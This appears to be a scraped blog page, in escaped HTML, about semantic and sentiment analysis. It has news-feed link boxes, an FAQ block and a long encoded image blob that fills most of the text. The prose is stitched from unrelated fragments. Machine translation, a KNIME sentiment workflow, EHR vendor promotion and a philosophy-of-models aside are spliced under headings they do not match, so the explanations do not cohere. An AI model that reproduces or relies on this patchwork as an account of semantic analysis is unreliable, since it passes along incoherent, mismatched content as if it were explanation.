of Library and Information Science through AI.<\/p>\n<p>Posted: Tue, 06 Jun 2023 22:06:11 GMT [<a href='https:\/\/news.google.com\/rss\/articles\/CBMia2h0dHBzOi8vZHRncmV2aWV3cy5jb20vdW5jYXRlZ29yaXNlZC90aGUtdHJhbnNmb3JtYXRpb24tb2YtbGlicmFyeS1hbmQtaW5mb3JtYXRpb24tc2NpZW5jZS10aHJvdWdoLWFpLzIyNDQv0gEA?oc=5' rel=\"nofollow\">source<\/a>]\n<\/div>\n<p><p>This method can directly give the temporal conversion results without being influenced by the translation quality of the original system. Through comparative experiments, it can be seen that this method is obviously superior to traditional semantic analysis methods. Machine translation of natural language has been studied for more than half a century, but its translation quality is still not satisfactory. The main reason is linguistic problems; that is, language knowledge cannot be expressed accurately.<\/p>\n<\/p>\n<p><h2>b. Training a sentiment model with AutoNLP<\/h2>\n<\/p>\n<p><p>It then creates a dataset by joining the positive and negative tweets. In the data preparation step, you will prepare the data for sentiment analysis by converting tokens to the dictionary form and then split the data for training and testing purposes. In this tutorial you will use the process of lemmatization, which normalizes a word with the context of vocabulary and morphological analysis of words in text. The lemmatization algorithm analyzes the structure of the word and its context to convert it to a normalized form.<\/p>\n<\/p>\n<div style='border: grey dotted 1px;padding: 10px;'>\n<h3>How To Collect Data For Customer Sentiment Analysis &#8211; KDnuggets<\/h3>\n<p>How To Collect Data For Customer Sentiment Analysis.<\/p>\n<p>Posted: Fri, 16 Dec 2022 08:00:00 GMT [<a href='https:\/\/news.google.com\/rss\/articles\/CBMiT2h0dHBzOi8vd3d3LmtkbnVnZ2V0cy5jb20vMjAyMi8xMi9jb2xsZWN0LWRhdGEtY3VzdG9tZXItc2VudGltZW50LWFuYWx5c2lzLmh0bWzSAQA?oc=5' rel=\"nofollow\">source<\/a>]\n<\/div>\n<p><p>Learn about Epic and Cerner EHR, two major vendors, and which one to choose for your health information management project. Read about the potential of Smart EMR and learn how this cutting-edge solution can transform how healthcare providers work. Read this post to learn about safety strategies and their real-world value. Ultimately, this contributes to the further polish of the service and strengthening of customer engagement by providing them with what they need.<\/p>\n<\/p>\n<p><h2>Top sentiment analysis use cases<\/h2>\n<\/p>\n<p><p>To perform this comparison, we start by setting the column containing the contributors\u2019 annotations as the target column for classification, using the Category to Class node. Next, we use the Scorer node to compare the values in this column against the lexicon-based predictions. We\u2019re now ready to start the fun part and calculate the sentiment score (StSc) for each tweet. Next, we count the frequency of each tagged word in each tweet with the TF node. This node can be configured to use integers or weighted values, relative to the total number of words in each document.<\/p>\n<\/p>\n<div itemScope itemProp=\"mainEntity\" itemType=\"https:\/\/schema.org\/Question\">\n<div itemProp=\"name\">\n<h2>What is an example of semantics in child?<\/h2>\n<\/div>\n<div itemScope itemProp=\"acceptedAnswer\" itemType=\"https:\/\/schema.org\/Answer\">\n<div itemProp=\"text\">\n<p>Many children make mistakes when they initially create semantic knowledge. For example, a child might think &#x201c;cat&#x201d; refers to any animal, and will continue to learn more about the word &#x201c;cat&#x201d; the more often he or she sees a parent or other communication partner use the word.<\/p>\n<\/div><\/div>\n<\/div>\n<p><p>Although the function clearly bears some close relationship to the equation (6), it&#8217;s a wholly different kind of object. We can&#8217;t put it on a page or a screen, or make it out of wood or plaster of paris. We can only have any cognitive relationship to it through some description of it-for example the equation (6). For this reason I think we should hesitate to call the function a \u2018model\u2019, of the spring-weight system. There are two techniques for semantic analysis that you can use, depending on the kind of information you&nbsp; want to extract from the data being analyzed. Lexical semantics plays an important role in semantic analysis, allowing machines to understand relationships between lexical items like words, phrasal verbs, etc.<\/p>\n<\/p>\n<p><h2>Discover More About Semantic Analysis<\/h2>\n<\/p>\n<p><p>The process enables computers to identify and make sense of documents, paragraphs, sentences, and words as a whole. The first part of semantic analysis, studying the meaning of individual words is called lexical semantics. It includes words, sub-words, affixes (sub-units), compound words and phrases also.<\/p>\n<\/p>\n<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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O0BuT2sdqWkbVcXkXm4OWSZb1NLBmQHojPdvtoxkqbdJ5A6Eitb1\/oiwX\/tR7IrVctKwJSVx5sm4F+EhQdS1DSlKHSRyAojAP2V8nQqkW3dJnI+PZdmajPJuBjA\/K+hYN9dd2rhXdS0gJWC09uGFcg8cAEHIqWj6rvrI2e2qOD+mArNfFF6uU6LqHV8S1XZ2wWW\/dodv0tLmxlln2ODHhhKkNqH1YUrwgjHWr\/KTI7N9Na1j9jHaC5qS4NdxGtllnTRMciT+CtLa3F5cUtvcoN+qfnUWbp9gxsdknGOP5K9bcjlBMkY479l9VRtfzUgJmQ0OAebZwf51NwtYWaQdrrxjn\/idPvr5Z\/J717qvXKbyL7qCNeIsBTSEPLg+wT40hQJcYkx84SUnG1Q4IrYto9KR39KbVm8I4yPZdI6FS\/H4jAQtcZksvoS4y6lxJ80nNO1kbMqVFXvjPuNq6+A4qwW7W8xhSUT2e\/T03JODSySm5oy1L7GhyxjdEcq+UVwW6\/2y6IAYfQHSMls8KH2V3A5GRUMtcz7kqMbouHjCWuy13afa3AqO6dueUk5Brir0DjrXWtZkqvEsDsFc3xMlGHDK0Ozanh3L6JZDTo4KVHqfhUz3g9KyVK9igpJIKehHBFWew6tKFIiXJQI6Bz8a0vQesRPiC7wff3SG1p5jO6PkK6g5OKWmmXmnkhxtYUkjginMitAa9rhuB4SvBHBS0UUV9IRRRRQhFcV3\/wif+oY\/wDKmu2uK7\/4RP8A1DH\/AJU0IXQetFB60UISsfVJpym2Pqk05QhFFFFCEUUUhIAOTXhOEJCtIGSR99VTUmqRH3QYC8unKVLHRH+tc+qdTbQq329fi6OODy+AqpgkjJOSazjqfqrbmnTPPqf+Am1KjuxJJ29l7K1uLU48rcsnJJOaRVJRWaOLiS4nJKcgbRgIrw44htBccUEpAyVHpiuK8XmHZ2e9kryrGUoTyo\/ZVCvOoZl5UUklpjoGwePt9akQV3zH4TKlp0ls5PDVYrzrdlgqj2pHeuDq4fdHy9aqMudNuDnfTZC3VdOTXMEhJOB1r1TGKFjVaa+nwVwNg590nSlooqSBlTcY7IrjvFqi3y1TLPNLojzWFsOlpwoXtUMHaocg89RSz7pb7cgqly22z02k8\/dVel9oMJBxBiuPHyKvCPnjrXSKKYuDmhdmVZJ2428FVrTPYBpKwTTcLreL\/qeQm3u2mMq9Te\/EaG6MONIASOFAAEnJwOtWHS3ZF2Z6MWDpzQ1ngq7stb0xkqc2FO0pKlZVgjgjNRcvW16k8MqRHT\/kTz99REq+zpLoTKuTylnonvevyFOHi7YHnevY9BZFyQAtUbat0bGxEZvaAOAkYA90fIeQ8qRVxtqD458cEDHLiQcVic7U1lg26Rdpl9iJiR3O7efMgFDa8gbFEE4OVAY61yL1rpRlN33XuMVWJsO3FIUVKjJKQoKUOvQ14NNlfy7J\/ddhRqxjBkAK3YXO1k+G4xj8nE\/D8K9IkW9wgofYUU+6QoEj\/wDcV84XXtg7ObHNRbrrqiLGkOIQ4hK0r8SVgKTg4weCDVgOpbC3Ht8p28RmmrqUiEtboSJBV7oRnqfhQ\/TJRjvyvW1aj87JASMZWw3bTWmr7b5Nrullt8yFNVvksOMIUh1X6yhjBVwOetVe79iHZxc9Ko0fAsiLJFYlpuEV21H2d6NLTna+haed45GTnjiq6xc3GHA01PcQ4Bu2d5ghPrjPSpRnV1\/jkd3M7xI8nEhVc\/BuQcxPIwvmbRY5BgFpUz2ddl1m7OPzpIhXW6Xa43x9MmfcLk+HX3ylO1AJSlIwE8cCrlyapMHtCfT4J8FJT+s2rH8jVjt+p7PccBqUELP6LnhP4VAsMsSyGWXkqO3TnVRhjcBSfSjIHWgkEAggg0VF\/K82ZQklC0uNqUlSehScVY7TrOXDw3cEF9scBQPiFVyj51zkibJ3UeelFYbtkC1WBc4dyZDsZxJGOU58Q+ddfxrJIcyXAeD8J4tqSc8efwNXiwatYuShHlkNSOgzwlfx\/wBKWy1jHy3sqxd0p9cl8XLVY6QpChg0tFReUkPypqxajkWxxLL6iuOTjHUp+Iq\/RpTMplDzLqFpVyCk1k9Sthvsi0vhJythZG5GenxFXfprqh1JwrWzlh7H2Su5R3jfH3WlZHrS1yxJbM1hL7CgpChkEGukdK1mORsrQ9hyCkZBBwUtFFFfaEVxXf8Awif+oY\/8qa7a4rv\/AIRP\/UMf+VNCF0HrRQetFCErH1Sacptj6pNOUIRRRSK4868PCEE4FVTVGo1MboEFX0hHjWD7vwHxrt1HfU21numl5ecHgx5fGqCpa3FKccJKlHJJ9aoPVvUX0rfo6x8x7n4TOjT8T9SQcJsgHqM0tB60hOKywknunuOOEtQWoNTsWhsss7XJKhgJJ4T8TTepdTJtaDGiqCpCuD57PjVCdWt9xTzrilqUckqPOamVqwf5np7pulmY+JN9q9SZcma8ZMxZW4rgn0+FNBXlj5Up565pMAc00aA0YCs7WiMbW9ktJ8s01KlMQ2i9JdS2gDqo4ql3vWsiQTHtYLTX6Th95Xy9BXWGB0pBwpcFWSc+VWe66gtlqTiQ8FuHo2g5P2+lU6561ucolqIBGaIIyk5UftqBXlaytSipROSrzNeCAOlN4KTGfcE7goxxcO5KVS3XF9686VrPUnk\/fXnAxjHSiip2AOwU7AHA4CUbv0f618w67dd07ru+aofkWW9P2y4tS0JeusiNc46SE7WGUe6tPyGDzmvp3JAOK4JOmNOTpqLtMsdvfmt42SXY6FOpx0wojIxUqpOInnjOQlGrUn3mNDX7cHKx7U+g2h2p6Umwva27DqWUq43S2JR9AZkdoraWsfoklXPkSkVV+0Xs81q9qDtI1ZpSDJXKkpRDVHKFbLhDeiBC9nGCpCxuGPMEV9LKkNMjxvJAHqelNJukBACVTGgB08VTIp7eRsjJ49kqn0ak9pY+XBJz39cLLrrY7pJuPZIr80yCm3uJcmnuie4KYePH6ckDnzqidslo7Qtb6huuo7RpZ9y16NSlm1Kce9nWH21IdckpbUMuDCdgx5V9GG521RyJjWcY96lMuEs5TKZV6YUK+mOtxu3uiPARJpVOVnhNnA7H\/YL5z7YNfLvU\/T2pNBvS41yhQUm+XBhrKIEGUEjavPVaVK3AeWM1v+lbRCsGn4VrgS35TLLQ2SH3i448CM71KPUnOftrqdtNnmw34ciHFejykFEhooSUug9Qoef20+xEixIzUSIwllhhAabQgYSlIHAA9MVFtTb2Nj24wp2m6c+rYfM5+7cF7z8aQYHl0r1gelGBS\/anakrdqO620\/QySpAOe7c5Satto1rAmqSzNSIzquAf0Cfn5VQNopcCuEtWOXuOVGmqxzckYK2FK0rAUg7kkZBHSvVZfadRXG0rSEPKdZHBbUeMfD0q+2e\/wbw3hle11PvIXwQP70nnqvhOe4Sqao+D5Ck+lIoE9FEHOQfQ0tFRe\/KhubuG09laNO6tcYKIV1d3N9EunqD8fhV2QpC0haFBSVDII8xWQEA9RVj03qdy37Yc5ZVHPCVeaP8ASoNmsHedvdVzUdLbzLCOfVX6gdRXlDiHUBaCCDyCPOvVLSD2Vc\/IUxYb45aXti1FUdZ8SfT4itBZkNyGw60rchQyCPOsm59asmk797M4LdKWO6WcNqPkfSr90l1EazhTtO8p4B9ikuoUwR4jBz6q9g5ANLXlBBSMHPFKOlam0ghJEtcV3\/wif+oj\/wDlRXbXPOYVJiraQQF8KQT0CgcpJ+0CvpC9nrRUUq8T0kpVp2aSDglDjJST8MrBx8wKKEKWY+qTTlNsfVJpyhCQnFcdzntwIa5TqgEoGR8T5CulagCM+lULVd59tlexx1gsscHHmqkevaqNJqGT\/UeAu9aE2JNoUTOmvT5K5TqjuWeAfIelc2TSk8UlYbNM+xI6WQ5JVojAjAa1HPTioLU2okWiP3LJCpLuQgfq\/Gu+7XRq0wlzHOSkeAfrK9KzKZLemyFy5C963Dnny+FdakBkO53ZONLo\/UO8R44CbWtbrinXiVLWckq5OaSjrRTYgBW0BrQMdkVG3m+Q7Kx3j7mXFe42Oqj\/AGpnUN\/ZssbPC31\/Voz\/ADPwrOZk+TcJKpUt3ctR6eg9KYVapf5ndkzp0TL539l03i7TL08XZS9qAfA2k8JFcNG8elJkU4azA2tCsEUbWDACWvKutKo7QSeAOp9KhrjqOPHKmoig66Bx+qD86m0aFi+\/ZXblR7l6vSbvldhS5ICSpSgAOpJxioqVqO3xz3bSlPqGc7Rx99Vi43h1wF64Tw2yMZKlhCQT5elVKT2j6aj6omaPU86bnChKnOI2EJUgJ3bUq8ztINXan0nBEA627J9lRL\/WbhkVxj5V\/k6lnPjDQS0PLbyf51wrnSXlEPylqPxVisaHaBr+Lpm3dp05y1OafnONl23MsqD0dhxewL73dhSgcZGMdaz65QL0zdr1Jdt06QixaiBkXpM112TFjbw4nZHzjbtIBPoafR16lPAiiCqFrX7Vg+dxI\/2X0BN7QdEW66my3DVltYmlwNFlySkLSs9EkZ4+2uhzV2nWVXgGeCbC0Hp42HLKNpVnpzwM8VkDmipGvdZargQbo3G0\/d\/Y7gp0QQtx9C0DPdunGw5QM4Gea7r72bXy76n1u6zKvUOLJtcVqII7\/dtzXAwpJSvjxcgDHHU1K8SX0alzrVhwz3Wh3ntI0dZY0CTPuyUi5sh+IhDS3HHGyArcEJBVjBGTjiuyPq7TU63Q7tEvUVyHPeTHjO79ocdOcIGf0jg8VmdjtWpNGXax6lnaUn3Ro6bj2xxqIlLj8N5BycpJHChxnPWoZy3XTTjlhuOpLVKhwZ+qpeoX47DC3\/YWyjDSFBsHByc8V9eM5pw5oXv1UrT2X0CzKeaAU06tvI8lV3Rb9dGee+DoHAC05rFdVX+3az1HpWzpvUmNpq5tyX3Xm3FxTIdbwEslZwoeZxxUbY9dyNJvX+yWBx++Qxd41rsSZEgrK5DiCXG+9PJbRjPOcc1xnjqy5bLGCPfClxaxPWd+m8gflfSEbVDSwkSGNhJ5IORUtHmxpY3R3kr+R6Vh+n9YamFzmWvVdphhEaKqUmdbHFvRzsPjbVkZSsc8fCrTY75Du8GLebNNKo8xsOsuDw70nocdaRWulqlgE1ztPoFaaPWNhpHjYcP8rTqKq8DU7je1E0BY\/WA5A+NWONJZlthyO4FpPp5VStQ0mzpz8SN491eqOq19QH6R59k7Xpl1yO8l9lxSFIOQQaTHGaT50rcA4YKZEBwwVfdOauauKREnlLUkDhR91f8ArVlBBHCsj5VjiVJTykEHyq6aV1Uhzu7bcHfpDw24T19AaU2qZb529knt0tvmjVwo+dHUZHQ0Ut5CUuCs+k9SKiupt05RLKiA2o\/ok+Xyq8A5APrWPkHjacHNXrSOoDMQLbMUO+QPozn3h\/pS61X\/ANbVXNVpDmaMflWegHHPn1pAc+WKWoAOOQq+QHK+aVvX5wZ9lfUA+yB5+8PWrGPlWUQJ67fKblIJBbOSB5jzFabb5rU2KiUydyHBkEVsHSGtf1Ct4Ep87P8AKrV+r4D9w7FddIelA6mg9KuSgLkc99XzNFDnvq+ZooQuhj6pNeyoDqa8MfVJoXgZJ8hmvCcDKFE6luibbAUpCvpFjaj7fOs6UPPzNS2pLn+crgtAP0TB2JHx8zUSelYl1VqrtRulrT5GcKxafB4MeT3KSvK1pbQpxZwEjJPpXqqvra7iNFTbWXCl1\/lRHkn0+2q7GwvdhNasDrMzY2+qreo74u6zCls4YaJDY9fU1FHpXoBPXAyaQ9adxAMbtCvkcDK7AxnZIOBmuC93iPZ4S5LqgVgfRpz7yq6pUlmGw5JkL2IQkqJrMbxdXbxPXIcGG0+FtPkBU6pB45yewTGlW8d249lxTJ0m4ylypS8rV6eXwprAznHNe1JAGRXinrAGNwFYmt2jACKbkSWIjZekOBCR\/PFeZUtmGyXns8dAOpqoz579wkKW8rCR7qB0AqxaNoMupuEjuGfykGta6zTGFjOX\/wAJ+5X2RPUW2sts54OeVD41GFIz4VUpABwKStNqU4aLPChGAsxs3Z7kniSuJVO7WtIq1noW42pgZlNo9pjZUQO8RyAfn0+2se0fo7X181BG1Oyx3hjRYb0G4yztL6UKKHI7o67u7WtJPn3aT519JhG\/gkj5Uy66xH8JUABwEgYrq6p9S8FJ7ggixNO7ACobHY7amVIgLvt0dsTckS27KpxPsyFg7gM43bQrnbnFXSNaLdElSp0aCw2\/OKVSHAnCnSkYG71wOK8uXM+62nA9TXLJnhlHePyEtpB5KlAAU1i0R2Mv4yqtc6x0+AltZpefhSiVIZ8CTsHoOlehLj8EvAEehNVq5X2zWxURNzujMdU9fdRwtWA6vrgGo+RrHTsKPdpcmb3bdld7qWpSD4F8EADqc5GMVLbp1dnDnpOetL8hzDBwrsZcVXPej76QvsOYCXEqI555\/rVDsevrFqCY5b0tzoElLJkJanRVMqcaHVSAr3hj0qXsl4tt\/trV1tTvfRn8lte0p3AEjIz8Qa+2aZVm+x68PWWoQn9eEf5\/7U1drLZ9QxPzferdFnRid3dvtpWAfUZ6VCXvs5slys8K12kCyrtUpE2A9DaT9A+kHCtp4UCCQQeua7GZ8dx0sxpra3G\/eQlYJT9ldqZryDlQCgPsqPLopcMsIITKt1rUedtqMtVHs2hZehmNVapuE388T7nFOWIULuEr2pPRtJOVqJ5NN9k\/ZgrT1qtN51FNly7qxFCWGXFlLUFChnu0IHU88k81orclp47c7afAA4ByKUOqeA\/kK2UZ6dxvi13bgjaANoHArohzpMBzvI69vqPI1z5oryeFllhZKMgp3FM+EiSM4KuNrvTFwTtyUODgoP8AapI8daz5Di2nEutEpWk5BBxVrsl+TOSY8gBLyfPPCqzbXem3VCZ63LPULQND6hFsCCxw70Kk6UFQO5PvDp8KKAcVU\/TBCuHBGFetIamEsC1z1fToB7tf6wHl86tQIPSsfadcZcD7SylaDlJHUGtI0ze03eAFrKfaGvC6M9T6\/bSS7WLHb29khv1dh3t7KZpyNIXFebksL2uIUCk\/Gm6BycHmlxbvGEqcAQWnstPsdzbutvTJR76fC4n0VUjWcaVuxtVwS0tw+zv+FY9D5GtGHPIpPPH4blTb9Q1ZjjsUVZ9GXXun1Wx5WEr8Tfz8xVZr0y4pl5D7fC0KCh8xUzR9QdpltkwPGefwlFqDx4y1a4kg5xSnpXDaJyJ8FqUCPGnn513Eit6rzNnibK3sVVHDadpXI576vmaKHPfV8zRXZeLoY+qTUZqSeIFtdcCsLUNqPmelSTRwyDVJ1vO7+YiGk8MjefmaQdSaiNO098g7ngfupFWPxZQFW1EqJJOc80lHkBRWFl27ze6s\/wBo4TUl9uMwuQ77jY3GstuU9y5znpjmQXFcA+Q8hVw1zcXI8RuA2oZkHcs\/5R5fbVGpjVYG+Yq06LV2xmZ3cooz19aKj75dEWq2vSuO8A2oB81HpTKNhe4AKwMYZCGtVX1teu+kC0sLSUN+J7HUq8hVWVjjAxXkuLcWt1ZJUtRUo56k0VYIo\/CaAFa60YhYGNSHpTMiQ3FaU+6oJSgZyf6U+cYOf61UL9clTZBjtryy0ogeij6090bTX6lYDMeUd0u1zVG6ZXLs+Y9ly3K4vXCQVrBShJw2OnFctGAKK16CJkEYijGAFkcth9h5kkOSUUEhIyogD1rytxLYKlHAAzzUa9JW+rwq8IP30xq1HWHfCrWudQV9Gjy45eewT785SvCwrGOiqrt91RYNOONm\/XuLDW8fow+6ElWemB1NSqDk\/Ksi7RdLS2NZNy4q227bqoItlwkOxRIXGXjgt59zcMjPkeadTMNCMOhbk+qyc6jLrtg\/WSENxwB2UxqrtMjwG77ZGXUwbxGaQq1jZ3pmhaMpUhKQeMgj4VXJupLBqu92C+657oWCdZyW+\/UUR0TgvDgWOm4AHGfhV8a0LEi3+xXm3PFr8zwl29aVp3F9kpG0FWeoIzn4mpW36XsVphvW+JbWjFekLlKadAcSHFHJIB4HyFR3QWZ35kdx89l6y5SrtxE3n3WPI0mdXWBiBGYmTrFE1SUwlo3b0wVIIUpB67UqPB+Artj6A16\/C1bbLmpt592RCkwZKlAImFjHCvRRSlOc8Zra48J4oS1EiqCU+FKW0YAHoAK70WS5qA\/3VQ+ZAqO6tRhdmSXlfLtakwWsaMLI5Nv1jqm\/s6il6cctSbRbpbTTK3kKckPuowANpwEjA601piZf7Z2ar0s1pu9Qrtb7S8G3Ho4DS3QM4QsE5OSSBWxiw3ME\/wC7D7FD8a5H7RcG8rXDc2+ZxkV0j+ic79OYZPyuR1Vzm7XMBA5CwW2jSDf+xjWiT3l+Epp24uNhXfhkJzI9o9ep61YWtf62nxRqa3G0iG+86iDangfapjbatqilROAo9QAK0tuHFYeU8zFaacc95aUAFXzI61SH+yC3PSoyReZQtUaaJ6bcpCFoDm7cQlZG5KSc5AOK+zUniH6JBz7KQ3UKljPjDke\/KtkXUUGTdjY1LW1OTEbmKZWkgpQskDn1yCKnGJamgATlOKyu46RvGrO0O5TVS7hZ7VGgswFGOrY7OG4rIC+qUgnBI61o0CExboTEGKFhqOgNo3rK1YHqSST9pqZDussc2VvbjKjmwdOkZLTkO7AyPRTjb6HRlJTn0zXuolK1IIUkjNSMd9L6cAHI60puaea43M7LT+nOqYtTAgn4k\/lO16bcLSg4jO5PPBrzR1pWQCMFXQEg8d1b7PdE3BnYtX0yOCD+l8akaosV96M8l9lWFJq6wZLcyOH2yCDwfgfSsu6j0b6CUzxfYf8AC03p3Wfr4RDLw5v+U7UhZbk5a57ctO4pScLSOik+dcB4NJ0\/pVXc0PbgqxOaJG7XditiZfakNIeZUFIcTuSQetOVT9B3Te2u0uueJBK2go8kHrVwqu2IhE8hVexEYJSwpCM8Vouk7l7fbg2tQLrHgVzyQBwazupjStwMG6tpUrDb+G1Z6c9KX2Y97Eo1OD6iE+45WkUUfbRSnsVTvZWnRNwLal29Z4UdyP71dBjHFZXbZZgzWpKeNihn5ZrUGXA6hLiTkKGa1zom\/wDU0\/AefMxVrUohHLuHqmnPfV8zRQ576vmaKuyXr3vDcbeTgAE1l86SqZNekq\/ScOM+meKvt+lmLZHVg7SrwAj1JrOycmsv68t5kjqjtjJTjS4+DIgnNHGDk4+NFR9+mCBan5BODtKU8\/pEYFZ81pccBPIozK4NHqqHqS4fnC7PuJWShCtifkKi6QEkZJJJ6k+tLTxjNgAV+hjEMbWD0SeVZ\/rm5+0XJNvQr6OOMnHQrP4dKvU2UiFEdlOdGkFVZLIWqTIckuK3KcUVE\/EmmVBheS9ONMjLneKV4T0paAMV5W4GxuUcAc5pwGufho7lOnO2gvPGFFagnmNGEZleHHOD8BVUKSOnTrXZdJRlzHHs7gDhPwArkKyRjArYNB04afUa0dzyVkuu6gdQtEnsOy80iilI3LOAOtLXDcZHHcIP\/Mc\/yqxVYDYftCqGs6mzSajrDu\/omJsgyCUJz3YPr1pgHHAxXkA+tLVvrwNgbhqwe9em1Gczynkr2350pCD1AO3mkaSpStqUkk9APM1Z7Tp9CAmRNAU5wUIzkJ+Y9agarqsOlx7pOSewUNrSDwoq22GbOSFrT3Laj1V1I+FWODYbdDQD3SVrHO5VcOq9Y23RVsbu1zaeVE9qaiuuNJyGAtWN6\/RI8zWZXHtKm6puWs+z203aPLflW9xen5sUYQtYa+kjhfRSx5EE5z8Kze\/r9u+4+bDfYJjW0+ewNw4C16HeLHNkqg266QH5DZ8bLT6FLT80g5FVZHbBomTZ5N6izHH2YVybtclKW8OMvLc2AqSTkJz51lNoOlbm9oBns8srsHVFumtJubbcRbammdhEj2hZAyCrkZJzmm712C6tlwbxN08UQbhI1C+4WVuJS3PgF9LrZUc8KSRkH0yKRZLjlyat06o3+47H5Wr3jtUtVn1NM0v+YL5Pk29pt2SuBE75LYcGU5wc\/wAqkJ\/aVo2xSIcC\/XdNseuDKH2UzmlMjCuAkqUMBWfLOazW\/dnepldot81TM0XIvMW4iKI70O++xuNBtsJVlIUN3iz19KtvaBZpeqdX6K09ItTzlpjOvXSepbe9oKaQQ22okYJKln5\/Gvcj0XOSpUyxoPGDk5+Fd1MWu8RUSWQxJZdG5t1ogpUPUKHB+dRMzTK0gqgnd\/kJrLXNZPWPUt4vVhgqfhw5LWldP2plRaYkSyd7y8DgJSSeQPKtE0fqjWD+o5Wl9a2CJElNw0zmJUBxbkZxBVtUglYBCwfLzHNMqOsW6J3RuyPYqBZ0x0LdzSMfKjyhTSu6cbKFg87hgk0VdrjaotyQO84X+i4Bg\/8AxVQmQ5EF7uXkH4K8iK0bRtdh1IbTw72UBvc5TFemlqZVvRn7680U+exrxtIX3HLJFIHxnBHZSkd8PpyOCOopyo2O8ppwFPnwakgdwz61Vb9U15MjsVuHTGtjV6uJP7je\/wApQSKl7DcjEkBhw7Wnj5+tQ9eu8UMEcEcg0lv02X67oZPX+VcqNt1GdszPRX7OaK47RLRMgoWVfSJGFD412VjNqu6rM6F\/cLYKthtqJsrOxXTb5jtvmtTGVEKbUCceY861lh9EhhuQ2cpcSFA\/OsdrQdC3AybY5Ec5XGVhJz+ieR+FJdQiGNyhanXD2iUqy0Ba0ELR73l8KKOlJnAnhJnNytQsVwTcbYw\/k79m1Q\/zCpCqhoKaopkQVkYThaf71b6STjbLhUS7F4NgtQAk9etaJpSZ7Xam8qJU34Dn4VnfQ5q1aGllD8iLk4WAtI9PKrR0ZbNfUxH6OGEh1OLdFuVqc99XzNFeXFjvFceZorZ1XlW9ZSCIkaKFKTuUVHHwqo4xx6VPavdK7i2gKyENdM9OagT1rDuqbP1GqSfHCstBobAEVVdeSgi3MQ09XXNx58k\/\/I+6rVVB1vI766oaHRloefrSeq3dJynukx+LYHwq4AQAM5PnS0Uh6U3zlXNVrXk32e1oipPMheFY\/VHJ\/tVBRjaMelWXXUlL1yaigkhhsZ+Z5qtgY4p5TYGx8KzUo9kIPuiozUEr2WAcHCnPCPxqTqr6qkh2UiKk8NJ5+Zqx9P1frNQYw9hyVB1619LRc8dzwoQcjpg0UUVsQ7cLJduc5XlxxDSCtYJwDxUQvctRUcZPWuy4rPhbHnzXJVn0ev4UXiepWN9caobVv6Rp8rf5TWNvBpQM+YzQs+ImpCxW8Tpv0g+jb8Ss+foKn27LKcDpn9gqQpawWdDbYmSUfSHltJHuj1P9q869j6qk6SuLOjJDTN3LJ7hS05z6geiiM4PkcVYNoCspBxjFB5GPWsX1C9JqExmk9ey6RSGNwcOcLBexuxRtZnUpUzPjWKTEFquNtuEwvyHZoGXX1g\/VnnaPXGa0PSPZnGs2mdP2jUHcTZOmn1OW6SwktFsAnZnGMkpICvUgVaoVhtUK5TbtCt7bU24lBlOoThTxSMAqx1NfRHYz+TZN1XHY1JrXvodtX4mYaQUPPD1UeqU\/Lk\/CogYXdk7bLa1aYx1uGnGfjCxC0WG8XyWY1jtEqbIV1RHaKyc+uP71oVn\/ACbu1q7hKzp9uEkjgypKEH7gSR91faun9H6b0tBRAsFnjQmUAABpAST8Sep+2pZLaQMFINdhAB3TyDpaPGbDy4r4lnfku9qkNjvW4Fvkkc7GZacn94Afzqhaj7O9baXSpV\/0xcIjYOS6pvc3++nKf51+jCkg9APupmRCjSGiy+wh1tfBQpIKSPiDXvgg9l9zdKVnj9NxaV+UWquz636gt8aLbnjZ5VvmfnCFKiNJ+jk85WU4wrI6565qla7k6j09p1OhbvrBRkalYmIbv7+IzcZ8BKm2fCMJSrxAZP8ASv0g7VvyZLBqZl+7aObbtFyHj7pIww8eeCke6fiPWvkLWGjTElytLazsLZcZXteiy2gtJI5BweD8DXJ7DEk0kVjSHgWRuYPVZL2Bt3F6wG8svLask9lr2SE6+p1UeQjch\/apWSW1KSFJ5PWtLuEBu4Md04BuA8KvQ07EiRYEduJCjNR2GkhDbbaQlKUjyAHAp2viGwYZBJH3HKR27P1EzpQMZVBeZXEfVGeyFpOMGvNWTU0AONCcj30DC+OqfWq3xz8K2TRtRbqVdsg7+qjAnulHBzXbDfKh3avI5rhpxhYbdScnBODUq9D4sRCsPTepP06+yT0JwVKUUuMUlVDGFvTHb27gprTMgtyFRjja6Mj5irPjFUaG8Yz7T4\/QUDV4Ct3I59KzPq6p4NsTjs4LSOkbRmrGE92lFWDRU4xbyhnJCJCS2fn1FV\/7KehumPLZfGQW1pVkfA1TZ2hzCFZpmeI0tK2DB64xRXhlaFNpW2o7VDPPxr3VccMOIVbwQSCpfSklUa9sAKwlwlBHlyPxrSfPp91ZHGeVGkNSEAktrCvurWGVb2krA94A\/eM0rutAOVUtej2yB49U5kYwRUrpuUY13YIVgLJQftqKpyMstyWnBxtWk\/zFeadMYLcco9CFXZm+JC5p9VpLiTvV4z1NFNEtrJXvHi560VvrbUZAOVVNhVI1A93t3fx0ThOPlUcetdVxWVXKVknl1X9a5SMGsA1GQy3ZXn1JVnrjbE0H2RWY6me77UExXkFlI+zFaaelZTc1B24SXPMuq\/rX3SGSVY9BYDK565qOvFFIT4cmmbeThWpoycLLNQyfab7MVzgOFPPwwK4DT0p0PzpC1clTiif3jTJ68VYoftAVqhGI2oxnj1qkXd3v7lIcHTeUj5Dirso4SSfIZqgPK3vLWeqlE1e+i4QZZZT6ABU\/q+VwjjZ75XijIHWikWQlBUegGa0VgycLPpZPDYT7BRkhZW+tRPnx8KbpEEnOfWlq7V27GAL843rBs2ZJD6kptWNxJ8quWmYQjW1KyCFvErJPPGOKqDaO8fS3jO5QFX9pAabQ2nohIT9wqndZ2yyFtcH7jkqKnFJ2+dIKSum3Q3rjPjW+OkqdlOpZbAGcqUcD+tZw0Y4X0xpc4NHqtv8AyaeyJrVdwVrDUDAXbIDmIzakja+8PPnqlP8AWvsCO0lobUgAAAADyqC0HpeHo3Sdt05CbSluEwlHHmrqT9pJqx1OY3DVqel0WUoGtHf1RRRRXRM0UhGaWihBXhYBSRWO\/lA9j8TXun3bxbIqfz7b2ythSUgF9I5LSvX4fGtlrypAIIwMV4QCMFRrVdtmMxP7FfmItC21qbcQUKScEEYIOcEY+ykrVPyjNGo0f2kS3YrAbhXVAmtAdAtXDg\/eGftrLCcnNL3t2OwsntwGrM6E9wV4dbS6hTa+UqGCMdaokhj2WW+xg+BePs8qvp6VVNSMhu5d4B9YgE\/McVcejLJZadBngjKjg+iiqD0NFBOK0tzcr7a7bypSOoraST6c05XNAWVMY3ZCTiumqXZbtmcF+h9Fn+poxSnuWhOD3QM9eKulqe7+3suE87Qk\/ZxVLTgJyelWrT